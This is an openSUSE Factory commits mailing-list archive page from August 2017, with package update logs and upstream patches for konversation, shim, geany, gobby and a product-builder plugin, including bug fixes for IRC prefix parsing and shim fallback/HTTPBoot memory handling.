August 2017 - openSUSE Commits - openSUSE Mailing Lists

commit konversation for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package konversation for openSUSE:Factory checked in at 2017-08-28 16:16:30 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/konversation (Old) and /work/SRC/openSUSE:Factory/.konversation.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "konversation" Mon Aug 28 16:16:30 2017 rev:51 rq:518651 version:1.7.2 Changes: -------- --- /work/SRC/openSUSE:Factory/konversation/konversation.changes 2017-06-01 16:27:30.683311845 +0200 +++ /work/SRC/openSUSE:Factory/.konversation.new/konversation.changes 2017-08-28 16:16:32.188110745 +0200 @@ -1,0 +2,6 @@ +Fri Aug 25 06:48:48 UTC 2017 - fabian(a)ritter-vogt.de + +- Add patch to fix prefix handling for channel types (kde#383801): + * fix-prefix-addressed-message-handling.patch + +------------------------------------------------------------------- New: ---- fix-prefix-addressed-message-handling.patch ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ konversation.spec ++++++ --- /var/tmp/diff_new_pack.kb2heX/_old 2017-08-28 16:16:33.643906168 +0200 +++ /var/tmp/diff_new_pack.kb2heX/_new 2017-08-28 16:16:33.655904482 +0200 @@ -26,6 +26,8 @@ Group: Productivity/Networking/IRC Url: http://konversation.kde.org/ Source0: http://download.kde.org/stable/%{name}/%{version}/src/%{name}-%{version}.ta… +# PATCH-FIX-UPSTREAM +Patch1: fix-prefix-addressed-message-handling.patch BuildRequires: extra-cmake-modules BuildRequires: karchive-devel >= %{kf5_version} BuildRequires: kbookmarks-devel >= %{kf5_version} @@ -80,6 +82,7 @@ %prep %setup -q +%patch1 -p1 %build %cmake_kf5 -d build ++++++ fix-prefix-addressed-message-handling.patch ++++++ >From 72de2027f3d3e7a0c48aef6acd666e04fc0b19b1 Mon Sep 17 00:00:00 2001 From: Eli MacKenzie <argonel(a)gmail.com> Date: Thu, 24 Aug 2017 17:11:17 -0400 Subject: Fix prefix-addressed message handling Messages sent to all channel operators or other mode-prefixed classes of channel members could use flags that conflict with channel prefix flags. This tries harder to ensure that the actual channel prefix is found. BUG:383801 --- ChangeLog | 1 + src/commit.h | 2 +- src/irc/server.cpp | 34 +++++++++++++++++++--------------- src/irc/server.h | 7 +++++-- 4 files changed, 26 insertions(+), 18 deletions(-) Index: konversation-1.7.2/src/commit.h =================================================================== --- konversation-1.7.2.orig/src/commit.h +++ konversation-1.7.2/src/commit.h @@ -1,4 +1,4 @@ // This COMMIT number is added to version string to be used as "patch level" #ifndef COMMIT -#define COMMIT 5016 +#define COMMIT 5016+5020 #endif Index: konversation-1.7.2/src/irc/server.cpp =================================================================== --- konversation-1.7.2.orig/src/irc/server.cpp +++ konversation-1.7.2/src/irc/server.cpp @@ -540,10 +540,16 @@ void Server::showSSLDialog() */ } +void Server::rebuildTargetPrefixMatcher() +{ + m_targetMatcher.setPattern(QLatin1String("^([") + getServerNickPrefixes() + QLatin1String("]*)([") + getChannelTypes() + QLatin1String("])(.+)")); +} + // set available channel types according to 005 RPL_ISUPPORT void Server::setChannelTypes(const QString &pre) { m_channelPrefixes = pre; + rebuildTargetPrefixMatcher(); if (getConnectionSettings().reconnectCount() == 0) { updateAutoJoin(m_connectionSettings.oneShotChannelList()); @@ -575,6 +581,7 @@ void Server::setPrefixes(const QString & // modes which relates to the network's nick-prefixes m_serverNickPrefixModes = modes; m_serverNickPrefixes = prefixes; + rebuildTargetPrefixMatcher(); } QString Server::getServerNickPrefixes() const @@ -2965,18 +2972,18 @@ Channel* Server::getChannelByName(const // Convert wanted channel name to lowercase QString wanted = name.toLower(); - if (m_serverNickPrefixes.contains(wanted.at(0))) { - wanted.remove(0, 1); - } + QRegularExpressionMatch p = m_targetMatcher.match(wanted); + int index = p.capturedStart(2); - if (name.isEmpty()) { - return nullptr; - } + if (index >= 0) + { + wanted = wanted.mid(index); - if (m_loweredChannelNameHash.contains(wanted)) - return m_loweredChannelNameHash.value(wanted); + if (m_loweredChannelNameHash.contains(wanted)) + return m_loweredChannelNameHash.value(wanted); + } - return 0; + return nullptr; } Query* Server::getQueryByName(const QString& name) @@ -3844,13 +3851,10 @@ bool Server::isAChannel(const QString &c { if (channel.isEmpty()) return false; - uint index = 0; - - if (m_serverNickPrefixes.contains(channel.at(0)) && channel.length() >= 2) { - ++index; - } + QRegularExpressionMatch x = m_targetMatcher.match(channel); + int index = x.capturedStart(2); - return (getChannelTypes().contains(channel.at(index)) > 0); + return (index >= 0 && getChannelTypes().contains(channel.at(index)) > 0); } void Server::addRawLog(bool show) Index: konversation-1.7.2/src/irc/server.h =================================================================== --- konversation-1.7.2.orig/src/irc/server.h +++ konversation-1.7.2/src/irc/server.h @@ -713,8 +713,11 @@ class Server : public QObject QStringListModel* m_nickListModel; // TODO roll these into a QMap. - QString m_serverNickPrefixes; // Prefixes used by the server to indicate a mode - QString m_serverNickPrefixModes; // if supplied: modes related to those prefixes + QString m_serverNickPrefixes; ///< Nickname prefixes used by the server to indicate a mode + QString m_serverNickPrefixModes; ///< if supplied: mode flags related to nickname prefixes + + QRegularExpression m_targetMatcher; ///< a character set composed of m_serverNickPrefixes and m_channelPrefixes + void rebuildTargetPrefixMatcher(); ///< updates the regexp when prefixes change QString m_banAddressListModes; // "TYPE A" modes from RPL_ISUPPORT CHANMODES=A,B,C,D

1 0

commit product-builder-plugin-Tumbleweed for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package product-builder-plugin-Tumbleweed for openSUSE:Factory checked in at 2017-08-28 16:16:24 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/product-builder-plugin-Tumbleweed (Old) and /work/SRC/openSUSE:Factory/.product-builder-plugin-Tumbleweed.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "product-builder-plugin-Tumbleweed" Mon Aug 28 16:16:24 2017 rev:8 rq:518640 version:1.0~pre.1503641982.ffb521b Changes: -------- --- /work/SRC/openSUSE:Factory/product-builder-plugin-Tumbleweed/product-builder-plugin-Tumbleweed.changes 2017-08-22 11:06:49.028132184 +0200 +++ /work/SRC/openSUSE:Factory/.product-builder-plugin-Tumbleweed.new/product-builder-plugin-Tumbleweed.changes 2017-08-28 16:16:25.721019541 +0200 @@ -1,0 +2,5 @@ +Thu Aug 24 15:59:09 UTC 2017 - adrian(a)suse.de + +- create detached pubkey for repomd.xml + +------------------------------------------------------------------- Old: ---- product-builder-plugins-1.0~pre.1503061558.bf11442.obscpio New: ---- product-builder-plugins-1.0~pre.1503641982.ffb521b.obscpio ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ product-builder-plugin-Tumbleweed.spec ++++++ --- /var/tmp/diff_new_pack.7QZgcn/_old 2017-08-28 16:16:26.716879597 +0200 +++ /var/tmp/diff_new_pack.7QZgcn/_new 2017-08-28 16:16:26.720879035 +0200 @@ -20,7 +20,7 @@ Summary: openSUSE - KIWI Image System License: GPL-2.0+ Group: System/Management -Version: 1.0~pre.1503061558.bf11442 +Version: 1.0~pre.1503641982.ffb521b Release: 0 Source: product-builder-plugins-%version.tar.xz Provides: product-builder-plugin = %version-%release @@ -28,8 +28,8 @@ Requires: instsource-susedata Requires: mkdosfs Requires: mtools -Requires: openSUSE-EULAs Requires: openSUSE-appstream-process +Requires: package-EULAs Requires: package-translations Requires: product-builder Supplements: product-builder ++++++ product-builder-plugins.obsinfo ++++++ --- /var/tmp/diff_new_pack.7QZgcn/_old 2017-08-28 16:16:26.876857116 +0200 +++ /var/tmp/diff_new_pack.7QZgcn/_new 2017-08-28 16:16:26.880856554 +0200 @@ -1,5 +1,5 @@ name: product-builder-plugins -version: 1.0~pre.1503061558.bf11442 -mtime: 1503061558 -commit: bf114422318541ad94d1f2e09ee1206619504857 +version: 1.0~pre.1503641982.ffb521b +mtime: 1503641982 +commit: ffb521bc8644c7e78c375f9a58607be1db913a6d

1 0

commit shim for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package shim for openSUSE:Factory checked in at 2017-08-28 16:16:19 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/shim (Old) and /work/SRC/openSUSE:Factory/.shim.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "shim" Mon Aug 28 16:16:19 2017 rev:61 rq:518614 version:12 Changes: -------- --- /work/SRC/openSUSE:Factory/shim/shim.changes 2017-08-24 18:23:21.550846588 +0200 +++ /work/SRC/openSUSE:Factory/.shim.new/shim.changes 2017-08-28 16:16:20.537747923 +0200 @@ -1,0 +2,11 @@ +Wed Aug 23 10:28:44 UTC 2017 - glin(a)suse.com + +- Add upstream fixes + + shim-fix-httpboot-crash.patch + + shim-fix-openssl-flags.patch + + shim-fix-fallback-double-free.patch + + shim-fallback-workaround-masked-ami-variables.patch +- Remove the stderr mask while compiling MokManager.efi since the + warnings in Cryptlib were fixed. + +------------------------------------------------------------------- New: ---- shim-fallback-workaround-masked-ami-variables.patch shim-fix-fallback-double-free.patch shim-fix-httpboot-crash.patch shim-fix-openssl-flags.patch ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ shim.spec ++++++ --- /var/tmp/diff_new_pack.Xv3sl9/_old 2017-08-28 16:16:22.201514121 +0200 +++ /var/tmp/diff_new_pack.Xv3sl9/_new 2017-08-28 16:16:22.205513560 +0200 @@ -47,6 +47,14 @@ Patch1: shim-only-os-name.patch # PATCH-FIX-SUSE shim-only-os-name.patch glin(a)suse.com -- Use the Arch-independent names Patch2: shim-arch-independent-names.patch +# PATCH-FIX-UPSTREAM shim-fix-httpboot-crash.patch glin(a)suse.com -- Fix HTTPBoot crash +Patch3: shim-fix-httpboot-crash.patch +# PATCH-FIX-UPSTREAM shim-fix-openssl-flags.patch glin(a)suse.com -- Fix the openssl compiler flags +Patch4: shim-fix-openssl-flags.patch +# PATCH-FIX-UPSTREAM shim-fix-fallback-double-free.patch glin(a)suse.com -- Fix double free in fallback.c +Patch5: shim-fix-fallback-double-free.patch +# PATCH-FIX-UPSTREAM shim-fallback-workaround-masked-ami-variables.patch glin(a)suse.com -- Work around the masked AMI variables +Patch6: shim-fallback-workaround-masked-ami-variables.patch # PATCH-FIX-OPENSUSE shim-change-debug-file-path.patch glin(a)suse.com -- Change the default debug file path Patch50: shim-change-debug-file-path.patch # PATCH-FIX-OPENSUSE shim-opensuse-cert-prompt.patch glin(a)suse.com -- Show the prompt to ask whether the user trusts openSUSE certificate or not @@ -96,6 +104,10 @@ %setup -q %patch1 -p1 %patch2 -p1 +%patch3 -p1 +%patch4 -p1 +%patch5 -p1 +%patch6 -p1 %patch50 -p1 %if 0%{?is_opensuse} == 1 %patch100 -p1 @@ -103,7 +115,7 @@ %build # first, build MokManager and fallback as they don't depend on a # specific certificate -make EFI_PATH=/usr/lib64 RELEASE=0 MokManager.efi fallback.efi 2>/dev/null +make EFI_PATH=/usr/lib64 RELEASE=0 MokManager.efi fallback.efi # now build variants of shim that embed different certificates default='' ++++++ shim-fallback-workaround-masked-ami-variables.patch ++++++ >From 40eef4450fd4d5ec9ea666a02c276bbe073300d3 Mon Sep 17 00:00:00 2001 From: Lans Zhang <jia.zhang(a)windriver.com> Date: Fri, 11 Aug 2017 13:42:20 +0800 Subject: [PATCH 1/2] fallback: work around the issue of boot option creation with AMI BIOS AMI BIOS (e.g, Intel NUC5i3MYHE) may automatically hide and patch BootXXXX variables with ami_masked_device_path_guid. Initially, the normal boot option created by fallback looks like this: 00000000 01 00 00 00 5e 00 42 00 6f 00 6f 00 74 00 6c 00 |....^.B.o.o.t.l.| 00000010 6f 00 61 00 64 00 65 00 72 00 20 00 54 00 65 00 |o.a.d.e.r. .T.e.| 00000020 73 00 74 00 20 00 28 00 36 00 34 00 2d 00 62 00 |s.t. .(.6.4.-.b.| 00000030 69 00 74 00 29 00 00 00 04 01 2a 00 01 00 00 00 |i.t.).....*.....| 00000040 00 08 00 00 00 00 00 00 00 00 08 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000060 01 01 04 04 30 00 5c 00 45 00 46 00 49 00 5c 00 |....0.\.E.F.I.\.| 00000070 42 00 4f 00 4f 00 54 00 5c 00 74 00 65 00 73 00 |B.O.O.T.\.t.e.s.| 00000080 74 00 78 00 36 00 34 00 2e 00 65 00 66 00 69 00 |t.x.6.4...e.f.i.| 00000090 00 00 7f ff 04 00 |......| 00000096 after reboot, fallback has to create a new one due to the previous boot option is hidden and masked by AMI BIOS: 00000000 09 00 00 00 76 00 42 00 6f 00 6f 00 74 00 6c 00 |....v.B.o.o.t.l.| 00000010 6f 00 61 00 64 00 65 00 72 00 20 00 54 00 65 00 |o.a.d.e.r. .T.e.| 00000020 73 00 74 00 20 00 28 00 36 00 34 00 2d 00 62 00 |s.t. .(.6.4.-.b.| 00000030 69 00 74 00 29 00 00 00 01 04 14 00 e7 75 e2 99 |i.t.)........u..| 00000040 a0 75 37 4b a2 e6 c5 38 5e 6c 00 cb 7f ff 04 00 |.u7K...8^l......| 00000050 04 01 2a 00 01 00 00 00 00 08 00 00 00 00 00 00 |..*.............| 00000060 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000070 00 00 00 00 00 00 00 00 01 01 04 04 30 00 5c 00 |............0.\.| 00000080 45 00 46 00 49 00 5c 00 42 00 4f 00 4f 00 54 00 |E.F.I.\.B.O.O.T.| 00000090 5c 00 74 00 65 00 73 00 74 00 78 00 36 00 34 00 |\.t.e.s.t.x.6.4.| 000000a0 2e 00 65 00 66 00 69 00 00 00 7f ff 04 00 |..e.f.i.......| 000000ae And after several reboot, fallback will have to create more boot options because AMI BIOS corrupts the previous ones. We can get the valid device path if just skipping the masked device path and its next end path. Signed-off-by: Lans Zhang <jia.zhang(a)windriver.com> --- fallback.c | 114 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 109 insertions(+), 5 deletions(-) diff --git a/fallback.c b/fallback.c index 0a7058b..7b58018 100644 --- a/fallback.c +++ b/fallback.c @@ -226,6 +226,105 @@ add_boot_option(EFI_DEVICE_PATH *hddp, EFI_DEVICE_PATH *fulldp, return EFI_OUT_OF_RESOURCES; } +/* + * AMI BIOS (e.g, Intel NUC5i3MYHE) may automatically hide and patch BootXXXX + * variables with ami_masked_device_path_guid. We can get the valid device path + * if just skipping it and its next end path. + */ + +static EFI_GUID ami_masked_device_path_guid = { + 0x99e275e7, 0x75a0, 0x4b37, + { 0xa2, 0xe6, 0xc5, 0x38, 0x5e, 0x6c, 0x0, 0xcb } +}; + +static unsigned int +calc_masked_boot_option_size(unsigned int size) +{ + return size + sizeof(EFI_DEVICE_PATH) + + sizeof(ami_masked_device_path_guid) + sizeof(EFI_DEVICE_PATH); +} + +static int +check_masked_boot_option(CHAR8 *candidate, unsigned int candidate_size, + CHAR8 *data, unsigned int data_size) +{ + /* + * The patched BootXXXX variables contain a hardware device path and + * an end path, preceding the real device path. + */ + if (calc_masked_boot_option_size(data_size) != candidate_size) + return 1; + + CHAR8 *cursor = candidate; + + /* Check whether the BootXXXX is patched */ + cursor += sizeof(UINT32) + sizeof(UINT16); + cursor += StrSize((CHAR16 *)cursor); + + unsigned int min_valid_size = cursor - candidate + sizeof(EFI_DEVICE_PATH); + + if (candidate_size <= min_valid_size) + return 1; + + EFI_DEVICE_PATH *dp = (EFI_DEVICE_PATH *)cursor; + unsigned int node_size = DevicePathNodeLength(dp) - sizeof(EFI_DEVICE_PATH); + + min_valid_size += node_size; + if (candidate_size <= min_valid_size || + DevicePathType(dp) != HARDWARE_DEVICE_PATH || + DevicePathSubType(dp) != HW_VENDOR_DP || + node_size != sizeof(ami_masked_device_path_guid) || + CompareGuid((EFI_GUID *)(cursor + sizeof(EFI_DEVICE_PATH)), + &ami_masked_device_path_guid)) + return 1; + + /* Check whether the patched guid is followed by an end path */ + min_valid_size += sizeof(EFI_DEVICE_PATH); + if (candidate_size <= min_valid_size) + return 1; + + dp = NextDevicePathNode(dp); + if (!IsDevicePathEnd(dp)) + return 1; + + /* + * OK. We may really get a masked BootXXXX variable. The next + * step is to test whether it is hidden. + */ + UINT32 attrs = *(UINT32 *)candidate; +#ifndef LOAD_OPTION_HIDDEN +# define LOAD_OPTION_HIDDEN 0x00000008 +#endif + if (!(attrs & LOAD_OPTION_HIDDEN)) + return 1; + + attrs &= ~LOAD_OPTION_HIDDEN; + + /* Compare the field Attributes */ + if (attrs != *(UINT32 *)data) + return 1; + + /* Compare the field FilePathListLength */ + data += sizeof(UINT32); + candidate += sizeof(UINT32); + if (calc_masked_boot_option_size(*(UINT16 *)data) != + *(UINT16 *)candidate) + return 1; + + /* Compare the field Description */ + data += sizeof(UINT16); + candidate += sizeof(UINT16); + if (CompareMem(candidate, data, cursor - candidate)) + return 1; + + /* Compare the filed FilePathList */ + cursor = (CHAR8 *)NextDevicePathNode(dp); + data += sizeof(UINT16); + data += StrSize((CHAR16 *)data); + + return CompareMem(cursor, data, candidate_size - min_valid_size); +} + EFI_STATUS find_boot_option(EFI_DEVICE_PATH *dp, EFI_DEVICE_PATH *fulldp, CHAR16 *filename, CHAR16 *label, CHAR16 *arguments, @@ -255,7 +354,8 @@ find_boot_option(EFI_DEVICE_PATH *dp, EFI_DEVICE_PATH *fulldp, EFI_GUID global = EFI_GLOBAL_VARIABLE; EFI_STATUS rc; - CHAR8 *candidate = AllocateZeroPool(size); + UINTN max_candidate_size = calc_masked_boot_option_size(size); + CHAR8 *candidate = AllocateZeroPool(max_candidate_size); if (!candidate) { FreePool(data); return EFI_OUT_OF_RESOURCES; @@ -267,17 +367,21 @@ find_boot_option(EFI_DEVICE_PATH *dp, EFI_DEVICE_PATH *fulldp, varname[6] = hexmap[(bootorder[i] & 0x00f0) >> 4]; varname[7] = hexmap[(bootorder[i] & 0x000f) >> 0]; - UINTN candidate_size = size; + UINTN candidate_size = max_candidate_size; rc = uefi_call_wrapper(RT->GetVariable, 5, varname, &global, NULL, &candidate_size, candidate); if (EFI_ERROR(rc)) continue; - if (candidate_size != size) + if (candidate_size != size) { + if (check_masked_boot_option(candidate, candidate_size, + data, size)) + continue; + } else if (CompareMem(candidate, data, size)) continue; - if (CompareMem(candidate, data, size)) - continue; + VerbosePrint(L"Found boot entry \"%s\" with label \"%s\" " + L"for file \"%s\"\n", varname, label, filename); /* at this point, we have duplicate data. */ if (!first_new_option) { -- 2.14.0 >From 5efee65f1cb7a04ea9434eedfc0d8a49b0305c83 Mon Sep 17 00:00:00 2001 From: Gary Lin <glin(a)suse.com> Date: Wed, 23 Aug 2017 18:26:00 +0800 Subject: [PATCH 2/2] fallback: Remove VerbosePrint() It's not available in shim 12. Signed-off-by: Gary Lin <glin(a)suse.com> --- fallback.c | 3 --- 1 file changed, 3 deletions(-) diff --git a/fallback.c b/fallback.c index 7b58018..701a1c4 100644 --- a/fallback.c +++ b/fallback.c @@ -380,9 +380,6 @@ find_boot_option(EFI_DEVICE_PATH *dp, EFI_DEVICE_PATH *fulldp, } else if (CompareMem(candidate, data, size)) continue; - VerbosePrint(L"Found boot entry \"%s\" with label \"%s\" " - L"for file \"%s\"\n", varname, label, filename); - /* at this point, we have duplicate data. */ if (!first_new_option) { first_new_option = DuplicateDevicePath(fulldp); -- 2.14.0 ++++++ shim-fix-fallback-double-free.patch ++++++ >From 971c5225bea11b4193e4e69a939410030b420ed1 Mon Sep 17 00:00:00 2001 From: Lans Zhang <jia.zhang(a)windriver.com> Date: Wed, 9 Aug 2017 16:10:14 +0800 Subject: [PATCH] fallback: fix double free of dp If the boot option recorded in csv is not in a media device path, the corresponding full device path will be referred for creating the boot variable. However, the current code logic always frees the full device path (full_device_path) and the media device path (dp) separately. In order to resolve this issue, always check whether dp equals to full_device_path before freeing dp. Signed-off-by: Lans Zhang <jia.zhang(a)windriver.com> --- fallback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fallback.c b/fallback.c index c80652a..0a7058b 100644 --- a/fallback.c +++ b/fallback.c @@ -433,7 +433,7 @@ err: FreePool(file); if (full_device_path) FreePool(full_device_path); - if (dp) + if (dp && dp != full_device_path) FreePool(dp); if (fullpath) FreePool(fullpath); -- 2.14.0 ++++++ shim-fix-httpboot-crash.patch ++++++ >From 1a83299ac5caca13be7ba69507f7623c99d9eef6 Mon Sep 17 00:00:00 2001 From: Lans Zhang <jia.zhang(a)windriver.com> Date: Fri, 30 Jun 2017 15:50:24 +0800 Subject: [PATCH] httpboot: fix OVMF crash This is a typical typo. The free operation should be done if uri was allocated. Signed-off-by: Lans Zhang <jia.zhang(a)windriver.com> --- httpboot.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/httpboot.c b/httpboot.c index f8fbc73..e4657c1 100644 --- a/httpboot.c +++ b/httpboot.c @@ -110,8 +110,10 @@ find_httpboot (EFI_HANDLE device) URI_DEVICE_PATH *UriNode; UINTN uri_size; - if (!uri) + if (uri) { FreePool(uri); + uri = NULL; + } devpath = DevicePathFromHandle(device); if (!devpath) { -- 2.14.0 ++++++ shim-fix-openssl-flags.patch ++++++ >From a120ddd83d02f302c72baa1974691a1f677829f3 Mon Sep 17 00:00:00 2001 From: Peter Jones <pjones(a)redhat.com> Date: Tue, 8 Aug 2017 17:48:59 -0400 Subject: [PATCH] Fix openssl compile flags for x86_64 Signed-off-by: Peter Jones <pjones(a)redhat.com> --- Cryptlib/Makefile | 2 +- Cryptlib/OpenSSL/Makefile | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Cryptlib/Makefile b/Cryptlib/Makefile index 77a5bd4..e99f009 100644 --- a/Cryptlib/Makefile +++ b/Cryptlib/Makefile @@ -8,7 +8,7 @@ CFLAGS = -ggdb -O0 -I. -fno-stack-protector -fno-strict-aliasing -fpic -fshort- ifeq ($(ARCH),x86_64) CFLAGS += -mno-mmx -mno-sse -mno-red-zone -nostdinc -maccumulate-outgoing-args \ -DEFI_FUNCTION_WRAPPER -DGNU_EFI_USE_MS_ABI -DNO_BUILTIN_VA_FUNCS \ - -DMDE_CPU_IA64 + -DMDE_CPU_X64 endif ifeq ($(ARCH),ia32) CFLAGS += -mno-mmx -mno-sse -mno-red-zone -nostdinc -maccumulate-outgoing-args -m32 \ diff --git a/Cryptlib/OpenSSL/Makefile b/Cryptlib/OpenSSL/Makefile index 829fa5c..e54105b 100644 --- a/Cryptlib/OpenSSL/Makefile +++ b/Cryptlib/OpenSSL/Makefile @@ -8,7 +8,7 @@ CFLAGS = -ggdb -O0 -I. -I.. -I../Include/ -Icrypto -fno-stack-protector -fno-st ifeq ($(ARCH),x86_64) CFLAGS += -mno-mmx -mno-sse -mno-red-zone -maccumulate-outgoing-args \ -DEFI_FUNCTION_WRAPPER -DGNU_EFI_USE_MS_ABI \ - -UNO_BUILTIN_VA_FUNCS -DMDE_CPU_IA64 + -UNO_BUILTIN_VA_FUNCS -DMDE_CPU_X64 endif ifeq ($(ARCH),ia32) CFLAGS += -mno-mmx -mno-sse -mno-red-zone -maccumulate-outgoing-args \ -- 2.14.0

1 0

commit geany for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package geany for openSUSE:Factory checked in at 2017-08-28 15:33:37 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/geany (Old) and /work/SRC/openSUSE:Factory/.geany.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "geany" Mon Aug 28 15:33:37 2017 rev:30 rq:519104 version:1.31 Changes: -------- --- /work/SRC/openSUSE:Factory/geany/geany.changes 2017-08-21 11:38:06.509180308 +0200 +++ /work/SRC/openSUSE:Factory/.geany.new/geany.changes 2017-08-28 15:33:39.117686616 +0200 @@ -1,0 +2,5 @@ +Sat Aug 26 13:48:11 UTC 2017 - jengelh(a)inai.de + +- Update description: say more about what geany does. + +------------------------------------------------------------------- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ geany.spec ++++++ --- /var/tmp/diff_new_pack.3w9d2g/_old 2017-08-28 15:33:39.789592151 +0200 +++ /var/tmp/diff_new_pack.3w9d2g/_new 2017-08-28 15:33:39.793591588 +0200 @@ -19,7 +19,7 @@ Name: geany Version: 1.31 Release: 0 -Summary: Small and lightweight IDE +Summary: GTK-based integrated development environment License: GPL-2.0+ Group: Development/Tools/IDE Url: https://geany.org @@ -42,26 +42,20 @@ %lang_package %description -Geany is a small and lightweight integrated development environment. -It was developed to provide a small and fast IDE, which has only a -few dependencies from other packages. Another goal was to be as -independent as possible from a special Desktop Environment like KDE -or GNOME. So it is using only the GTK3 toolkit and therefore you need -only the GTK3 runtime libraries to run Geany. +Geany is a text editor using the GTK+ toolkit with basic features of +an integrated development environment. It can do syntax highlighting +for many formats, case folding, symbol name autocompletion, autoclose +XML/HTML tags, provides code navigation and has a plugin interface. %package devel -Summary: Small and lightweight IDE -- Development Files +Summary: Development files for the Geany IDE Group: Development/Libraries/C and C++ Requires: %{name} = %{version} Requires: gtk3-devel %description devel -Geany is a small and lightweight integrated development environment. -It was developed to provide a small and fast IDE, which has only a -few dependencies from other packages. Another goal was to be as -independent as possible from a special Desktop Environment like KDE -or GNOME. So it is using only the GTK3 toolkit and therefore you need -only the GTK3 runtime libraries to run Geany. +Geany is a text editor using the GTK+ toolkit with basic features of +an integrated development environment. %package -n libgeany0 Summary: Geany libraries

1 0

commit gobby for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package gobby for openSUSE:Factory checked in at 2017-08-28 15:33:35 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/gobby (Old) and /work/SRC/openSUSE:Factory/.gobby.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "gobby" Mon Aug 28 15:33:35 2017 rev:42 rq:519102 version:0.5.1+20170204.e5c2d14 Changes: -------- --- /work/SRC/openSUSE:Factory/gobby/gobby.changes 2014-10-18 09:08:57.000000000 +0200 +++ /work/SRC/openSUSE:Factory/.gobby.new/gobby.changes 2017-08-28 15:33:37.413926155 +0200 @@ -1,0 +2,35 @@ +Thu Aug 24 11:04:43 UTC 2017 - zaitor(a)opensuse.org + +- Change License to "ISC AND GPL-2.0+" following legal review. +- Change Group to Productivity/Other. + +------------------------------------------------------------------- +Thu Jun 29 10:56:10 UTC 2017 - jengelh(a)inai.de + +- Trim irrelevant parts from description. + +------------------------------------------------------------------- +Thu Jun 08 00:32:13 UTC 2017 - zaitor(a)opensuse.org + +- Update to version 0.5.1+20170204.e5c2d14: + + Add C++11 macros into m4/ to fix the travis build. + + Remove no longer used configure flags from travis config. + + Fix typo in header guard. + + Replace margin start/end with left/right. + + Add missing giomm/menu.h include to + browser-context-commands.cpp. + + Fix possible crash when opening popup menu on browser. + + Add license title. + + Fix setting of font preferences. + + Updated translations. +- Run spec-cleaner. +- Switch to service version git checkout. +- Following the above, add gnome-common BuildRequires and pass + NOCONFIGUE=1 autogen.sh to configure, bootstrap gitcheckout. +- Replace pkgconfig(libinfinity-0.6) with + pkgconfig(libinfinity-0.7) BuildRequires following upstream + changes. +- Drop obsolete posttrans section. +- Drop gobby-add-missing-return.patch: Fixed upstream. + +------------------------------------------------------------------- Old: ---- gobby-0.5.0.tar.gz gobby-add-missing-return.patch New: ---- _service _servicedata gobby-0.5.1+20170204.e5c2d14.tar.xz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ gobby.spec ++++++ --- /var/tmp/diff_new_pack.Cackhj/_old 2017-08-28 15:33:38.289803012 +0200 +++ /var/tmp/diff_new_pack.Cackhj/_new 2017-08-28 15:33:38.309800200 +0200 @@ -1,7 +1,7 @@ # # spec file for package gobby # -# Copyright (c) 2014 SUSE LINUX Products GmbH, Nuernberg, Germany. +# Copyright (c) 2017 SUSE LINUX GmbH, Nuernberg, Germany. # # All modifications and additions to the file contributed by third parties # remain the property of their copyright owners, unless otherwise agreed @@ -16,14 +16,32 @@ # -Name: gobby %define _versioned_name gobby-0.5 +Name: gobby +Version: 0.5.1+20170204.e5c2d14 +Release: 0 +Summary: Collaborative editor (Infinote protocol) +License: ISC AND GPL-2.0+ +Group: Productivity/Other +Url: http://gobby.0x539.de/ +Source0: %{name}-%{version}.tar.xz BuildRequires: fdupes BuildRequires: gcc-c++ +BuildRequires: gnome-common BuildRequires: gnome-doc-utils-devel +# For directory ownership: +BuildRequires: gnome-themes BuildRequires: intltool +BuildRequires: pkgconfig BuildRequires: update-desktop-files BuildRequires: pkgconfig(glibmm-2.4) +BuildRequires: pkgconfig(libgsasl) +BuildRequires: pkgconfig(libinfinity-0.7) +BuildRequires: pkgconfig(libxml++-2.6) +BuildRequires: pkgconfig(unique-1.0) +Requires(post): update-alternatives +Requires(postun): update-alternatives +Recommends: %{name}-lang %if 0%{?favor_gtk2} BuildRequires: pkgconfig(gtkmm-2.4) BuildRequires: pkgconfig(gtksourceview-2.0) @@ -31,46 +49,27 @@ BuildRequires: pkgconfig(gtkmm-3.0) BuildRequires: pkgconfig(gtksourceview-3.0) %endif 